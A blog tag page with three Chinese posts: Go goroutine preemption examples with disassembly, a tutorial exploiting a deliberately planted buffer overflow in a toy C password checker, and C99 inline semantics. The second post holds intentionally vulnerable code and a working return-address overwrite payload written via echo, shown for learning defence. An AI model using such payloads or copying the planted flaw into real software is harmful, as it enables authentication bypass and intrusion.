标签 Assembly 下的文章

Goroutine调度实例简要分析

前两天一位网友在微博私信我这样一个问题:

抱歉打扰您咨询您一个关于Go的问题:对于goroutine的概念我是明了的,但很疑惑goroutine的调度问题, 根据《Go语言编程》一书:“当一个任务正在执行时,外部没有办法终止它。要进行任务切换,只能通过由该任务自身调用yield()来主动出让CPU使用权。” 那么,假设我的goroutine是一个死循环的话,是否其它goroutine就没有执行的机会呢?我测试的结果是这些goroutine会轮流执行。那么除了syscall时会主动出让cpu时间外,我的死循环goroutine 之间是怎么做到切换的呢?

我在第一时间做了回复。不过由于并不了解具体的细节,我在答复中做了一个假定,即假定这位网友的死循环带中没有调用任何可以交出执行权的代码。事后,这位网友在他的回复后道出了死循环goroutine切换的真实原因:他在死循环中调用了fmt.Println

事后总觉得应该针对这个问题写点什么? 于是就构思了这样一篇文章,旨在循着这位网友的思路通过一些例子来step by step演示如何分析go schedule。如果您对Goroutine的调度完全不了解,那么请先读一读这篇前导文 《也谈goroutine调度器》

一、为何在deadloop的参与下,多个goroutine依旧会轮流执行

我们先来看case1,我们顺着那位网友的思路来构造第一个例子,并回答:“为何在deadloop的参与下,多个goroutine依旧会轮流执行?”这个问题。下面是case1的源码:

//github.com/bigwhite/experiments/go-sched-examples/case1.go
package main

import (
    "fmt"
    "time"
)

func deadloop() {
    for {
    }
}

func main() {
    go deadloop()
    for {
        time.Sleep(time.Second * 1)
        fmt.Println("I got scheduled!")
    }
}

在case1.go中,我们启动了两个goroutine,一个是main goroutine,一个是deadloop goroutine。deadloop goroutine顾名思义,其逻辑是一个死循环;而main goroutine为了展示方便,也用了一个“死循环”,并每隔一秒钟打印一条信息。在我的macbook air上运行这个例子(我的机器是两核四线程的,runtime的NumCPU函数返回4):

$go run case1.go
I got scheduled!
I got scheduled!
I got scheduled!
... ...

从运行结果输出的日志来看,尽管有deadloop goroutine的存在,main goroutine仍然得到了调度。其根本原因在于机器是多核多线程的(硬件线程哦,不是操作系统线程)。Go从1.5版本之后将默认的P的数量改为 = CPU core的数量(实际上还乘以了每个core上硬线程数量),这样case1在启动时创建了不止一个P,我们用一幅图来解释一下:

img{512x368}

我们假设deadloop Goroutine被调度与P1上,P1在M1(对应一个os kernel thread)上运行;而main goroutine被调度到P2上,P2在M2上运行,M2对应另外一个os kernel thread,而os kernel threads在操作系统调度层面被调度到物理的CPU core上运行,而我们有多个core,即便deadloop占满一个core,我们还可以在另外一个cpu core上运行P2上的main goroutine,这也是main goroutine得到调度的原因。

Tips: 在mac os上查看你的硬件cpu core数量和硬件线程总数量:

$sysctl -n machdep.cpu.core_count
2
$sysctl -n machdep.cpu.thread_count
4

二、如何让deadloop goroutine以外的goroutine无法得到调度?

如果我们非要deadloop goroutine以外的goroutine无法得到调度,我们该如何做呢?一种思路:让Go runtime不要启动那么多P,让所有用户级的goroutines在一个P上被调度。

三种办法:

  • 在main函数的最开头处调用runtime.GOMAXPROCS(1);
  • 设置环境变量export GOMAXPROCS=1后再运行程序
  • 找一个单核单线程的机器^0^(现在这样的机器太难找了,只能使用云服务器实现)

我们以第一种方法为例:

//github.com/bigwhite/experiments/go-sched-examples/case2.go
package main

import (
    "fmt"
    "runtime"
    "time"
)

func deadloop() {
    for {
    }
}

func main() {
    runtime.GOMAXPROCS(1)
    go deadloop()
    for {
        time.Sleep(time.Second * 1)
        fmt.Println("I got scheduled!")
    }
}

运行这个程序后,你会发现main goroutine的”I got scheduled”字样再也无法输出了。这里的调度原理可以用下面图示说明:

img{512x368}

deadloop goroutine在P1上被调度,由于deadloop内部逻辑没有给调度器任何抢占的机会,比如:进入runtime.morestack_noctxt。于是即便是sysmon这样的监控goroutine,也仅仅是能给deadloop goroutine的抢占标志位设为true而已。由于deadloop内部没有任何进入调度器代码的机会,Goroutine重新调度始终无法发生。main goroutine只能躺在P1的local queue中徘徊着。

三、反转:如何在GOMAXPROCS=1的情况下,让main goroutine得到调度呢?

我们做个反转:如何在GOMAXPROCS=1的情况下,让main goroutine得到调度呢?听说在Go中 “有函数调用,就有了进入调度器代码的机会”,我们来试验一下是否属实。我们在deadloop goroutine的for-loop逻辑中加上一个函数调用:

// github.com/bigwhite/experiments/go-sched-examples/case3.go
package main

import (
    "fmt"
    "runtime"
    "time"
)

func add(a, b int) int {
    return a + b
}

func deadloop() {
    for {
        add(3, 5)
    }
}

func main() {
    runtime.GOMAXPROCS(1)
    go deadloop()
    for {
        time.Sleep(time.Second * 1)
        fmt.Println("I got scheduled!")
    }
}

我们在deadloop goroutine的for loop中加入了一个add函数调用。我们来运行一下这个程序,看是否能达成我们的目的:

$ go run case3.go

“I got scheduled!”字样依旧没有出现在我们眼前!也就是说main goroutine没有得到调度!为什么呢?其实所谓的“有函数调用,就有了进入调度器代码的机会”,实际上是go compiler在函数的入口处插入了一个runtime的函数调用:runtime.morestack_noctxt。这个函数会检查是否扩容连续栈,并进入抢占调度的逻辑中。一旦所在goroutine被置为可被抢占的,那么抢占调度代码就会剥夺该Goroutine的执行权,将其让给其他goroutine。但是上面代码为什么没有实现这一点呢?我们需要在汇编层次看看go compiler生成的代码是什么样子的。

查看Go程序的汇编代码有许多种方法:

  • 使用objdump工具:objdump -S go-binary
  • 使用gdb disassemble
  • 构建go程序同时生成汇编代码文件:go build -gcflags ‘-S’ xx.go > xx.s 2>&1
  • 将Go代码编译成汇编代码:go tool compile -S xx.go > xx.s
  • 使用go tool工具反编译Go程序:go tool objdump -S go-binary > xx.s

我们这里使用最后一种方法:利用go tool objdump反编译(并结合其他输出的汇编形式):

$go build -o case3 case3.go
$go tool objdump -S case3 > case3.s

打开case3.s,搜索main.add,我们居然找不到这个函数的汇编代码,而main.deadloop的定义如下:

TEXT main.deadloop(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go
        for {
  0x1093a10             ebfe                    JMP main.deadloop(SB)

  0x1093a12             cc                      INT $0x3
  0x1093a13             cc                      INT $0x3
  0x1093a14             cc                      INT $0x3
  0x1093a15             cc                      INT $0x3
   ... ...
  0x1093a1f             cc                      INT $0x3

我们看到deadloop中对add的调用也消失了。这显然是go compiler执行生成代码优化的结果,因为add的调用对deadloop的行为结果没有任何影响。我们关闭优化再来试试:

$go build -gcflags '-N -l' -o case3-unoptimized case3.go
$go tool objdump -S case3-unoptimized > case3-unoptimized.s

打开 case3-unoptimized.s查找main.add,这回我们找到了它:

TEXT main.add(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go
func add(a, b int) int {
  0x1093a10             48c744241800000000      MOVQ $0x0, 0x18(SP)
        return a + b
  0x1093a19             488b442408              MOVQ 0x8(SP), AX
  0x1093a1e             4803442410              ADDQ 0x10(SP), AX
  0x1093a23             4889442418              MOVQ AX, 0x18(SP)
  0x1093a28             c3                      RET

  0x1093a29             cc                      INT $0x3
... ...
  0x1093a2f             cc                      INT $0x3

deadloop中也有了对add的显式调用:

TEXT main.deadloop(SB) github.com/bigwhite/experiments/go-sched-examples/case3.go
  ... ...
  0x1093a51             48c7042403000000        MOVQ $0x3, 0(SP)
  0x1093a59             48c744240805000000      MOVQ $0x5, 0x8(SP)
  0x1093a62             e8a9ffffff              CALL main.add(SB)
        for {
  0x1093a67             eb00                    JMP 0x1093a69
  0x1093a69             ebe4                    JMP 0x1093a4f
... ...

不过我们这个程序中的main goroutine依旧得不到调度,因为在main.add代码中,我们没有发现morestack函数的踪迹,也就是说即便调用了add函数,deadloop也没有机会进入到runtime的调度逻辑中去。

不过,为什么Go compiler没有在main.add函数中插入morestack的调用呢?那是因为add函数位于调用树的leaf(叶子)位置,compiler可以确保其不再有新栈帧生成,不会导致栈分裂或超出现有栈边界,于是就不再插入morestack。而位于morestack中的调度器的抢占式检查也就无法得以执行。下面是go build -gcflags ‘-S’方式输出的case3.go的汇编输出:

"".add STEXT nosplit size=19 args=0x18 locals=0x0
     TEXT    "".add(SB), NOSPLIT, $0-24
     FUNCDATA        $0, gclocals·54241e171da8af6ae173d69da0236748(SB)
     FUNCDATA        $1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
     MOVQ    "".b+16(SP), AX
     MOVQ    "".a+8(SP), CX
     ADDQ    CX, AX
     MOVQ    AX, "".~r2+24(SP)
    RET

我们看到nosplit字样,这就说明add使用的栈是固定大小,不会再split,且size为24字节。

关于在for loop中的leaf function是否应该插入morestack目前还有一定争议,将来也许会对这样的情况做特殊处理。

既然明白了原理,我们就在deadloop和add之间加入一个dummy函数,见下面case4.go代码:

//github.com/bigwhite/experiments/go-sched-examples/case4.go
package main

import (
    "fmt"
    "runtime"
    "time"
)

//go:noinline
func add(a, b int) int {
    return a + b
}

func dummy() {
    add(3, 5)
}

func deadloop() {
    for {
        dummy()
    }
}

func main() {
    runtime.GOMAXPROCS(1)
    go deadloop()
    for {
        time.Sleep(time.Second * 1)
        fmt.Println("I got scheduled!")
    }
}

执行该代码:

$go run case4.go
I got scheduled!
I got scheduled!
I got scheduled!

Wow! main goroutine果然得到了调度。我们再来看看go compiler为程序生成的汇编代码:

$go build -gcflags '-N -l' -o case4 case4.go
$go tool objdump -S case4 > case4.s

TEXT main.add(SB) github.com/bigwhite/experiments/go-sched-examples/case4.go
func add(a, b int) int {
  0x1093a10             48c744241800000000      MOVQ $0x0, 0x18(SP)
        return a + b
  0x1093a19             488b442408              MOVQ 0x8(SP), AX
  0x1093a1e             4803442410              ADDQ 0x10(SP), AX
  0x1093a23             4889442418              MOVQ AX, 0x18(SP)
  0x1093a28             c3                      RET

  0x1093a29             cc                      INT $0x3
  0x1093a2a             cc                      INT $0x3
... ...

TEXT main.dummy(SB) github.com/bigwhite/experiments/go-sched-examples/case4.s
func dummy() {
  0x1093a30             65488b0c25a0080000      MOVQ GS:0x8a0, CX
  0x1093a39             483b6110                CMPQ 0x10(CX), SP
  0x1093a3d             762e                    JBE 0x1093a6d
  0x1093a3f             4883ec20                SUBQ $0x20, SP
  0x1093a43             48896c2418              MOVQ BP, 0x18(SP)
  0x1093a48             488d6c2418              LEAQ 0x18(SP), BP
        add(3, 5)
  0x1093a4d             48c7042403000000        MOVQ $0x3, 0(SP)
  0x1093a55             48c744240805000000      MOVQ $0x5, 0x8(SP)
  0x1093a5e             e8adffffff              CALL main.add(SB)
}
  0x1093a63             488b6c2418              MOVQ 0x18(SP), BP
  0x1093a68             4883c420                ADDQ $0x20, SP
  0x1093a6c             c3                      RET

  0x1093a6d             e86eacfbff              CALL runtime.morestack_noctxt(SB)
  0x1093a72             ebbc                    JMP main.dummy(SB)

  0x1093a74             cc                      INT $0x3
  0x1093a75             cc                      INT $0x3
  0x1093a76             cc                      INT $0x3
.... ....

我们看到main.add函数依旧是leaf,没有morestack插入;但在新增的dummy函数中我们看到了CALL runtime.morestack_noctxt(SB)的身影。

四、为何runtime.morestack_noctxt(SB)放到了RET后面?

在传统印象中,morestack是放在函数入口处的。但实际编译出来的汇编代码中(见上面函数dummy的汇编),runtime.morestack_noctxt(SB)却放在了RET的后面。解释这个问题,我们最好来看一下另外一种形式的汇编输出(go build -gcflags ‘-S’方式输出的格式):

"".dummy STEXT size=68 args=0x0 locals=0x20
        0x0000 00000 TEXT    "".dummy(SB), $32-0
        0x0000 00000 MOVQ    (TLS), CX
        0x0009 00009 CMPQ    SP, 16(CX)
        0x000d 00013 JLS     61
        0x000f 00015 SUBQ    $32, SP
        0x0013 00019 MOVQ    BP, 24(SP)
        0x0018 00024 LEAQ    24(SP), BP
        ... ...
        0x001d 00029 MOVQ    $3, (SP)
        0x0025 00037 MOVQ    $5, 8(SP)
        0x002e 00046 PCDATA  $0, $0
        0x002e 00046 CALL    "".add(SB)
        0x0033 00051 MOVQ    24(SP), BP
        0x0038 00056 ADDQ    $32, SP
        0x003c 00060 RET
        0x003d 00061 NOP
        0x003d 00061 PCDATA  $0, $-1
        0x003d 00061 CALL    runtime.morestack_noctxt(SB)
        0x0042 00066 JMP     0

我们看到在函数入口处,compiler插入三行汇编:

        0x0000 00000 MOVQ    (TLS), CX  // 将TLS的值(GS:0x8a0)放入CX寄存器
        0x0009 00009 CMPQ    SP, 16(CX)  //比较SP与CX+16的值
        0x000d 00013 JLS     61 // 如果SP > CX + 16,则jump到61这个位置

这种形式输出的是标准Plan9的汇编语法,资料很少(比如JLS跳转指令的含义),注释也是大致猜测的。如果跳转,则进入到 runtime.morestack_noctxt,从 runtime.morestack_noctxt返回后,再次jmp到开头执行。

为什么要这么做呢?按照go team的说法,是为了更好的利用现代CPU的“static branch prediction”,提升执行性能。

五、参考资料

文中的代码可以点击这里下载。


微博:@tonybai_cn
微信公众号:iamtonybai
github.com: https://github.com/bigwhite

微信赞赏:
img{512x368}

利用缓冲区溢出漏洞Hack应用

我们在平时编码过程中很少考虑代码的安全性(security),与正确性、高性能和可移植性相比,安全性似乎总被忽略。昨天从安全性角度泛泛地Review了一下现有的代码,发现了不少具有安全隐患的地方。我们的程序员的确缺乏系统地有关安全编码方面的训练和实践,包括我在内,在安全编码方面也都是初级选手,脑子中对安全性编码缺乏系统的理解。

市面上讲解编码安全性方面的书籍也不是很多,在C编码安全性方面,CERT(Carnegie Mellon University's Computer Emergency Response Team)专家Robert Seacord的《C和C++安全编码》一书对安全性编码方面做了比较系统的讲解。Robert还编写了一本名为《C安全编码标准》的书,这本书可以作为指导安全编码实践的参考手册。

浏览了一下《C和C++安全编码》,你会发现多数漏洞(vulnerability)都与缓冲区溢出(buffer overflow)有关。要想学会更好的防守,就要弄清楚漏洞是如何被利用的,在这里我们就来尝试一下如何利用缓冲区漏洞Hack应用。

有这样一段应用代码:
/* bufferoverflow.c */
int ispasswdok() {
    char passwd[12];
    memset(passwd, 0, sizeof(passwd));

    FILE *p = fopen("passwd", "rb");
    fread(passwd, 1, 200, p);
    fclose(p);

    if (strcmp(passwd, "123456") == 0) {
        return 0;
    } else {
        return -1;
    }
}

int main() {
    int passwdstat = -1;

    passwdstat = ispasswdok();
    if (passwdstat != 0) {
        printf ("invalid!\n");
        return -1;
    }

    printf("granted!\n");
    return 0;
}

这显然是故意“制造”的一段程序。原本密码(passwd)的输入是通过gets函数从标准输入获得的,但考虑到Hack时非可显示的ASCII码不易展示和输入,这里换成了fread,并且故意在fread使用中留下了隐患。我们Hack的目标很明确,就是在不知道密码的前提下,让这个程序输出"granted!",即绕过密码校验逻辑。

Hack的原理这里简述一下。我们知道C程序的运行其实就是一系列的过程调用,而过程调用本身是依赖系统为程序建立的运行时堆栈(stack)的,每个过程(Procedure)都有自己的栈帧(stack frame),各个过程的栈帧在运行时stack上按照调用的先后顺序从栈底向栈顶延伸排列。系统使用扩展基址寄存器(extended base pointer,%ebp)和扩展栈寄存器(extended stack pointer,%esp)来指示当前过程的栈帧。系统通过调整%ebp和%esp的方式按照特定的机制在各个过程的栈帧上切换,实现过程调用(call)和从过程调用返回(ret)。

执行子过程调用指令(call)时,系统先将该call指令的下一条顺序指令的地址(%eip),即子过程调用的返回地址存储在stack上,作为过程调用者栈帧的结尾,然后将%ebp也压入stack,作为子过程栈帧的开始,最后系统跳转到子过程的起始地址开始执行。总的来说,子过程调用call的执行相当于:

push %eip
push %ebp

子过程在其开始处将调用者的%ebp保存在栈上,并建立自己的%ebp;子过程调用结束前,leave指令首先恢复调用者的%ebp和%esp,之后ret指令将存储在stack的调用者的返回地址恢复到指令寄存器%eip中,并跳转到该地址上执行后续指令,这样系统就从子过程返回继续原过程的执行了。

这里的Hack就是利用重写返回地址来达到绕过密码校验过程的目的。返回地址与局部变量存储在同一栈上且系统没有对栈越界修改进行校验(一般情况是这样的)让Hack成为可能。我们通过GDB反汇编来看看main栈帧与ispasswdok栈帧在内存中的布局情况。

我们首先将breakpoint设置在ispasswdok过程被调用前,设置断点后run:

$ gdb bufferoverflow
… …
(gdb) break 20
Breakpoint 1 at 0×8048591: file bufferoverflow.c, line 20.
(gdb) run
Starting program: /home/tonybai/test/c/bufferoverflow

Breakpoint 1, main () at bufferoverflow.c:20
20        int passwdstat = -1;

我们查看一下当前main的栈帧情况:
(gdb) info registers
esp            0xbffff100    0xbffff100
ebp            0xbffff128    0xbffff128
eip            0×8048591    0×8048591 [main+9]

可以看到main栈帧起始于0xbffff128。我们继续在ispasswdok处设置断点,继续执行。
(gdb) break ispasswdok
Breakpoint 2 at 0x804850a: file bufferoverflow.c, line 6.
(gdb) continue
Continuing.

Breakpoint 2, ispasswdok () at bufferoverflow.c:6
6        memset(passwd, 0, sizeof(passwd));

现在程序已经执行到ispasswdok过程中,我们也可以看到ispasswdok栈帧情况了:
(gdb) info registers
esp            0xbffff0d0    0xbffff0d0
ebp            0xbffff0f8    0xbffff0f8
eip            0x804850a    0x804850a [ispasswdok+6]

可以看到ispasswdok过程的栈帧起始于0xbffff0f8。前面说过子过程的%ebp指向的栈单元存储的是其调用者栈帧的起始地址,即其调用者的%ebp。我们来查看一下是否是这样:

(gdb) x/4wx 0xbffff0f8
0xbffff0f8:    0xbffff128    0x0804859e    0×00284324    0x00283ff4

我们通过x/命令查看起始地址为0xbffff0f8的栈上连续4个4字节存储单元的值,可以看到0xbffff0f8处栈单元内的确存储是的main栈帧的%ebp,其值与前面main栈帧输出的结果相同。那么按照之前所说的,紧挨着这个地址的值就应该是ispasswdok过程调用的返回地址了,也就是我们要改写的那个地址,我们看到这个地址的值为0x0804859e。我们通过反汇编看看main过程的指令:

(gdb) disas main
Dump of assembler code for function main:
   0×08048588 [+0]:    push   %ebp
   0×08048589 [+1]:    mov    %esp,%ebp
   0x0804858b [+3]:    and    $0xfffffff0,%esp
   0x0804858e [+6]:    sub    $0×20,%esp
   0×08048591 [+9]:    movl   $0xffffffff,0x1c(%esp)
   0×08048599 [+17]:    call   0×8048504 [ispasswdok]
   0x0804859e [+22]:    mov    %eax,0x1c(%esp)
   … …

可以看到0x0804859e就是ispasswdok调用后的下一条指令,看来它的确是我们想要找到地址。找到了要改写的地址,我们还要找到外部数据的入口,这个入口即是ispasswdok过程中的局部变量passwd。

passwd的起始地址是什么?我们通过ispasswdok的反汇编代码来分析:

(gdb) disas ispasswdok
Dump of assembler code for function ispasswdok:
   0×08048504 [+0]:    push   %ebp
   0×08048505 [+1]:    mov    %esp,%ebp
   … …
   0×08048555 [+81]:    lea    -0×18(%ebp),%eax
   0×08048558 [+84]:    mov    %eax,(%esp)
   0x0804855b [+87]:    call   0x804842c [fread@plt]
   … …

可以看到在为fread准备实际参数时,系统用了-0×18(%ebp),显然这个地址就是passwd数组的始地址,即0xbffff0f8 – 0×18处。综上,我们用一幅简图来形象的说明一下各个重要元素:

– 高地址,栈底
… …
0xbffff0fc:  0x0804859e   <- 存储的值是main设置的ispasswdok过程的返回地址
——————————————————
0xbffff0f8:  0xbffff128   <- ispasswdok的%ebp,存储的值为main的%ebp
0xbffff0f4:  0x08049ff4
0xbffff0f0:  0x0011e0c0
0xbffff0ec:  0x0804b008
0xbffff0e8:  0×00000000
0xbffff0e4:  0×00000000
0xbffff0e0:  0×00000000   <- passwd数组的起始地址
… …
– 低地址,栈顶

我们现在需要做的就是从0xbffff0e0这个地址开始写入数据,一直写到ispasswdok过程的返回地址,用新的地址值覆盖掉原有的返回地址0x0804859e。我们需要精心构造一个密码文件(passwd):

echo -ne "aaaaaaaaaaaa\x08\xb0\x04\x08\xc0\xe0\x11\x00\xf4\x9f\x04\x08\x28\xf1\xff\xbf\xc4\x85\x04\x08" > passwd

这里我们将passwd数组用字符'a'填充,将0x0804859e这个返回地址改写为0x080485c4,我们通过disas main可以看到这个跳转地址对应的指令:

(gdb) disas main
Dump of assembler code for function main:
   0×08048590 [+0]:    push   %ebp
   0×08048591 [+1]:    mov    %esp,%ebp
   … …
   0x080485c4 [+52]:    movl   $0x80486ba,(%esp)  ;程序执行跳转到这里
   0x080485cb [+59]:    call   0x804841c [puts@plt] ; 输出granted!
   0x080485d0 [+64]:    mov    $0×0,%eax
   0x080485d5 [+69]:    leave 
   0x080485d6 [+70]:    ret   

我们在GDB中完整的执行一遍bufferoverflow:
$ gdb bufferoverflow
(gdb) run
Starting program: /home/tonybai/test/c/bufferoverflow
granted!

Program exited normally.

Hack成功!(环境:gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5), GNU gdb (GDB) 7.1-ubuntu)

GCC默认在目标代码中加入stack smashing protector(-fstack-protector),在函数返回前,程序会检测特定的protector(又被称为canary,金丝雀)的值是否被修改,如果被修改了,则报错退出。上面的代码在编译时加入了-fno-stack-protector,否则一旦越界修改缓冲区外的地址,波及canary,程序就会报错退出。

另外bufferoverflow这个程序在GDB下执行可以成功Hack,但在shell下独立执行依旧会报错,dump core(发生在fclose里),对于此问题暂没有什么头绪。

后记:
经过分析,bufferoverflow程序在非GDB调试环境下独立执行时dump core的问题应该是由于Linux采用的ASLR技术所致。所谓ASLR就是Address-Space Layout Randomization,中文意思是地址空间布局随机化。正因为每次bufferoverflow的栈地址空间布局随机不同,因此事先精心挑选的那组hack数据才无法起到作用,并导致栈被破坏而dump core。

我们可以通过一个简单的测试程序看到ASLR的作用。
/* test_aslr.c */
int main() {
    int a;
    printf("a is at %p\n", &a);
    return 0;
}

下面多次执行该例程:
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfbcb44c
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfe3c8cc
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfcc6d9c
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfaea32c

可以看到每次栈上变量a的地址都不相同。

GDB默认关闭了ASLR,这才使得上面的Hack得以成型,通过GDB的信息也可以证实这一点:
(gdb) show disable-randomization
Disabling randomization of debuggee's virtual address space is on.

也谈C语言的内联函数

有这样一段代码:

/* foo.c */
#include  "stdio.h"

inline void foo() {
    printf("inline foo in %s\n", __FILE__);
}

int main() {
    foo();
    return 0;
}

我采用C99标准,并在不加任何优化选项的情况下编译之:

$ gcc -std=c99 foo.c -o foo
foo.c: In function ‘foo’:
/tmp/ccLGkuIK.o: In function `main':
foo.c:(.text+0×7): undefined reference to `foo'
collect2: ld returned 1 exit status

这样的结果出乎我的意料。我原以为用inline修饰的函数定义,如上面的foo函数,在编译器未开启内联优化时依旧可以作为外部函数定义被编译器使用。但通过上面gcc输出的错误信息来看,inline函数的定义并没有被看待为外部函数定义,这样链接器才无法找到foo这个符号。C99标准新增的inline似乎与我对inline语义的理解有所不同。

C语言原本是不支持inline的,但C++中原生对inline的支持让很多C编译器也为C语言实现了一些支持inline语义的扩展。C99将inline正式放入到标准C语言中,并提供了inline关键字。和C++中的inline一样,C99的inline也是对编译器的一个提示,提示编译器尽量使用函数的内联定义,去除函数调用带来的开销。inline只有在开启编译器优化选项时才会生效。正如上面的例子,当我们打开优化选项并重新编译时,我们会看到:

$ gcc -std=c99 foo.c -O2 -o foo
$./foo
$ inline foo in foo.c

在-O2的优化选项下,编译器进行了内联优化,并采用了foo的inline定义。通过汇编代码我们也可以看出:foo.s中并没有显式地使用call进行函数调用,函数调用被优化掉了:

/* foo.s : gcc -std=c99 foo.c -O2 -S */
    .file   "foo.c"
    .section    .rodata.str1.1,"aMS",@progbits,1
.LC0:
    .string "foo.c"
.LC1:
    .string "inline foo in %s\n"
    .text
    .p2align 4,,15
.globl main
    .type   main, @function
main:
    pushl   %ebp
    movl    %esp, %ebp
    andl    $-16, %esp
    subl    $16, %esp
    movl    $.LC0, 8(%esp)
    movl    $.LC1, 4(%esp)
    movl    $1, (%esp)
    call    __printf_chk
    xorl    %eax, %eax
    leave
    ret
    .size   main, .-main
    .ident  "GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3"
    .section    .note.GNU-stack,"",@progbits

我们在另外一个文件bar.c中提供一个foo的外部函数定义:

/* bar.c */
#include

void foo() {
    printf("global foo in %s\n", __FILE__);
}

我们将foo.c和bar.c放在一起编译(未开启优化选项):
$ gcc -std=c99 foo.c bar.c -o foo
$ ./foo
$ global foo in bar.c

链接器为foo.c中的符号foo选择了bar.c中的foo函数定义。这样看来我们甚至可以有两个同名(名字都是foo)的函数定义,只不过一个是inline定义,一个是外部定义,它们并不冲突。

再开启优化选项,我们得到:
$ gcc -std=c99 foo.c bar.c -o foo
$ ./foo
$ inline foo in foo.c

这一次编译器选择了foo的inline定义。

究其原因:foo.c和bar.c分处于两个不同的编译单元,在未开启内联优化的情况下,foo.c对应的目标文件foo.o中foo只是一个未定义的符号,而bar.o中的foo却是一个global符号,并对应一块独立的实现代码。链接器自然采用了bar.c中的foo函数定义。而在开启了内联优化的情况下,编译器在进行foo.o这个编译单元的编译期间就直接对foo进行了优化,并采用了foo的inline定义,直接放到了main函数的汇编代码中,没有显式地call foo,并且foo.o中并未为foo单独生成Global函数代码,这样在最后的链接阶段,bar.o就变成"打酱油"的了^_^。

以上只是为了说明C99内inline语义而做的试验。在现实开发中,我们绝不应该这么去做。我们要确保函数的inline定义和非inline定义的语义一致性。那能否做到让一份函数定义既可以作为inline定义,也可以作为外部函数定义呢?这意味着我们在开启内联优化时,既要在inline函数定义的编译单元里执行内联优化,也要为inline函数生成一份独立的global的函数定义(汇编码)。

我们增加一个头文件foo.h:
/* foo.h */
extern void foo();

/* foo.c */
#include
#include "foo.h"

inline void foo() {
    printf("foo in %s\n", __FILE__);
}

int main() {
    foo();
    return 0;
}

我们在开启优化和未开启优化两种情况下分别编译执行:
$ gcc -std=c99 foo.c -o foo
$ ./foo
$ foo in foo.c

$ gcc -std=c99 foo.c -o foo -O2
$ ./foo
$ foo in foo.c

我们看到:无论哪种情况,我们都可以顺利通过编译,并且得到正确的执行结果。我们来看看汇编码有何变化:

在未开启优化的情况下,我们得到如下汇编码:

.globl foo
    .type   foo, @function
foo:
    pushl   %ebp
    … …
    call    printf
    leave
    ret
    .size   foo, .-foo

    … …
main:
    pushl   %ebp
    movl    %esp, %ebp
    andl    $-16, %esp
    call    foo
    … …
    ret

内联优化并未生效,main代码中进行了foo的函数调用。但与本文开始时的那个例子不同的是,编译器为foo生成了一份独立的global的函数定义汇编码块,这块代码可以直接被外部引用,也就是说在未开启优化的情况下,foo定义被看成了外部函数定义。

但开启优化选项的情况下,我们得到如下汇编码:
.globl foo
    .type   foo, @function
foo:
    pushl   %ebp
    … …
    call    __printf_chk
    leave
    ret
    … …
main:
    pushl   %ebp
    movl    %esp, %ebp
    andl    $-16, %esp
    subl    $16, %esp
    movl    $.LC0, 8(%esp)
    movl    $.LC1, 4(%esp)
    movl    $1, (%esp)
    call    __printf_chk
    xorl    %eax, %eax
    leave
    ret

内联优化生效了,main代码中并未显式地进行foo的函数调用。并且编译器依旧为foo生成了一份独立的global的函数定义汇编码块,这块代码可以直接被外部引用,也就是说在开启优化的情况下,foo定义在本编译单元被看作内联定义,同时对其他编译单元而言,也是外部函数定义。

我们通过在头文件中增加一个外部函数声明实现了我们的目标!不过上面方法虽然实现了一份定义既可以当作inline定义,也可以作为外部定义,但inline定义仅局限于定义它的那个编译单元,其他编译单元即使在开启内联优化时,依旧无法实施内联优化。如果我们希望多个编译单元共享一份inline定义并且这份定义也可以同时作为外部函数定义,我们该如何做呢? – 那我们只能把inline定义放到头文件中了!见下面代码:

/* foo.h */
inline void foo() {
    printf ("foo in %s\n", __FILE__);
}

/* foo.c */
#include
#include "foo.h"

int main() {
    foo();
    return 0;
}

/* bar.c */
#include
#include "foo.h"

void bar() {
    foo();
}

$ gcc -std=c99 foo.c -S -O2
我们看看开启优化情况下的bar.c和foo.c对应的汇编代码,以foo.s为例:

/* foo.s */
… …
main:
    pushl   %ebp
    movl    %esp, %ebp
    andl    $-16, %esp
    subl    $16, %esp
    movl    $.LC0, 8(%esp)
    movl    $.LC1, 4(%esp)
    movl    $1, (%esp)
    call    __printf_chk
    xorl    %eax, %eax
    leave
    ret
… …

内联优化生效,bar.s也是一样,不过编译器没有为我们生成foo的独立外部定义代码,这样的foo定义只能作为inline定义,而不能被作为外部函数定义。如果此时不开启优化选项编译,我们还会得到如下错误:
/tmp/ccpp1E7i.o: In function `main':
foo.c:(.text+0×7): undefined reference to `foo'
/tmp/ccQk872R.o: In function `bar':
bar.c:(.text+0×7): undefined reference to `foo'
collect2: ld returned 1 exit status

我们稍作改动,在foo.c和bar.c的文件开始处,我们加上这样一行代码:"extern inline void foo();",加上后,我们重新编译,这回foo在被内联优化的同时,也被生成了一份独立的外部函数定义。我们的目标又达到了!

总之,C99中inline相对比较怪异,使用时务必小心慎重。




这里是Tony Bai的个人Blog,欢迎访问、订阅和留言!订阅Feed请点击上面图片

如果您觉得这里的文章对您有帮助,请扫描上方二维码进行捐赠,加油后的Tony Bai将会为您呈现更多精彩的文章,谢谢!

如果您希望通过微信捐赠,请用微信客户端扫描下方赞赏码:


如果您希望通过比特币或以太币捐赠,可以扫描下方二维码:

比特币:


以太币:


如果您喜欢通过微信App浏览本站内容,可以扫描下方二维码,订阅本站官方微信订阅号“iamtonybai”;点击二维码,可直达本人官方微博主页^_^:



本站Powered by Digital Ocean VPS。

选择Digital Ocean VPS主机,即可获得10美元现金充值,可免费使用两个月哟!

著名主机提供商Linode 10$优惠码:linode10,在这里注册即可免费获得。

阿里云推荐码:1WFZ0V立享9折!

View Tony Bai's profile on LinkedIn


文章

评论

  • 正在加载...

分类

标签

归档











更多